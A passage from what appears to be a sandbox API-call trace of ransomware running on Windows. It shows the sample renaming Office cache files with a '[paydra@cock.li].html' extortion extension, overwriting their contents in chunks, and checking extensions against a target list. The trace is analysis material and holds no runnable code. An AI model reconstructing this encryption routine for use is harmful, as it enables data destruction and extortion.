Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.902] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2928955) returned 1 [0040.902] CloseHandle (hObject=0x1e0) returned 1 [0040.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0040.902] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.902] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0040.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.902] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.902] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.903] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.404] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.404] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.423] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.423] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.423] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.438] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.438] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0041.877] SetEndOfFile (hFile=0x1e0) returned 1 [0041.877] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0041.881] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.881] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.882] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.882] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.887] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.887] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.889] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0041.889] CloseHandle (hObject=0x1e0) returned 1 [0042.478] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.479] lstrlenW (lpString=".doc") returned 4 [0042.479] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString=".docx") returned 5 [0042.479] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.479] lstrlenW (lpString=".pdf") returned 4 [0042.479] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString=".xls") returned 4 [0042.479] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString=".xlsx") returned 5 [0042.479] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.479] lstrlenW (lpString=".ppt") returned 4 [0042.479] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.479] lstrlenW (lpString=".zip") returned 4 [0042.479] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString=".rar") returned 4 [0042.479] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString=".bz2") returned 4 [0042.479] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.479] lstrlenW (lpString=".7z") returned 3 [0042.479] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.479] lstrlenW (lpString=".dbf") returned 4 [0042.479] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.479] lstrlenW (lpString=".1cd") returned 4 [0042.480] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.480] lstrlenW (lpString=".jpg") returned 4 [0042.480] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.480] lstrlenW (lpString=".doc") returned 4 [0042.480] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString=".docx") returned 5 [0042.480] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.480] lstrlenW (lpString=".pdf") returned 4 [0042.480] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString=".xls") returned 4 [0042.480] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString=".xlsx") returned 5 [0042.480] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.480] lstrlenW (lpString=".ppt") returned 4 [0042.480] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.480] lstrlenW (lpString=".zip") returned 4 [0042.480] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString=".rar") returned 4 [0042.480] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString=".bz2") returned 4 [0042.480] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.480] lstrlenW (lpString=".7z") returned 3 [0042.480] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.480] lstrlenW (lpString=".dbf") returned 4 [0042.480] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.481] lstrlenW (lpString=".1cd") returned 4 [0042.481] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.481] lstrlenW (lpString=".jpg") returned 4 [0042.481] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.481] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.481] lstrlenW (lpString="VisioMUI.msi") returned 12 [0042.481] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.481] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2797568) returned 1 [0042.481] CloseHandle (hObject=0x1e0) returned 1 [0042.481] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0042.481] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.481] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0042.482] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.482] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.482] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.628] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.628] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.649] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.649] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.649] ReadFile (in: hFile=0x1e0, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.665] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.665] WriteFile (in: hFile=0x1e0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0042.832] SetEndOfFile (hFile=0x1e0) returned 1 [0042.832] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0042.832] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.833] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.901] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.901] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.906] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.906] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.908] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0042.910] CloseHandle (hObject=0x1e0) returned 1 [0042.910] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString=".doc") returned 4 [0042.911] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.911] lstrlenW (lpString=".docx") returned 5 [0042.911] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.911] lstrlenW (lpString=".pdf") returned 4 [0042.911] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.911] lstrlenW (lpString=".xls") returned 4 [0042.911] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.911] lstrlenW (lpString=".xlsx") returned 5 [0042.911] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.911] lstrlenW (lpString=".ppt") returned 4 [0042.911] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString=".zip") returned 4 [0042.911] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.911] lstrlenW (lpString=".rar") returned 4 [0042.911] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.911] lstrlenW (lpString=".bz2") returned 4 [0042.911] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.911] lstrlenW (lpString=".7z") returned 3 [0042.911] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString=".dbf") returned 4 [0042.911] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString=".1cd") returned 4 [0042.911] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.911] lstrlenW (lpString=".jpg") returned 4 [0042.912] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.912] lstrlenW (lpString=".doc") returned 4 [0042.912] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.912] lstrlenW (lpString=".docx") returned 5 [0042.912] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.912] lstrlenW (lpString=".pdf") returned 4 [0042.912] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.912] lstrlenW (lpString=".xls") returned 4 [0042.912] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.912] lstrlenW (lpString=".xlsx") returned 5 [0042.912] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.912] lstrlenW (lpString=".ppt") returned 4 [0042.912] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.912] lstrlenW (lpString=".zip") returned 4 [0042.912] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.912] lstrlenW (lpString=".rar") returned 4 [0042.912] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.912] lstrlenW (lpString=".bz2") returned 4 [0042.912] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.912] lstrlenW (lpString=".7z") returned 3 [0042.912] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.912] lstrlenW (lpString=".dbf") returned 4 [0042.912] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.913] lstrlenW (lpString=".1cd") returned 4 [0042.913] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0042.913] lstrlenW (lpString=".jpg") returned 4 [0042.913] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.913] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0042.913] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0042.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0042.986] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2511872) returned 1 [0042.986] CloseHandle (hObject=0x218) returned 1 [0042.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0042.986] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.986] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0042.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0042.986] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.987] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.987] ReadFile (in: hFile=0x218, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.053] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.053] ReadFile (in: hFile=0x218, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.140] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.140] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.140] ReadFile (in: hFile=0x218, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.402] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.402] WriteFile (in: hFile=0x218, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0043.464] SetEndOfFile (hFile=0x218) returned 1 [0043.464] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0043.464] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.464] WriteFile (in: hFile=0x218, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.466] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.466] WriteFile (in: hFile=0x218, 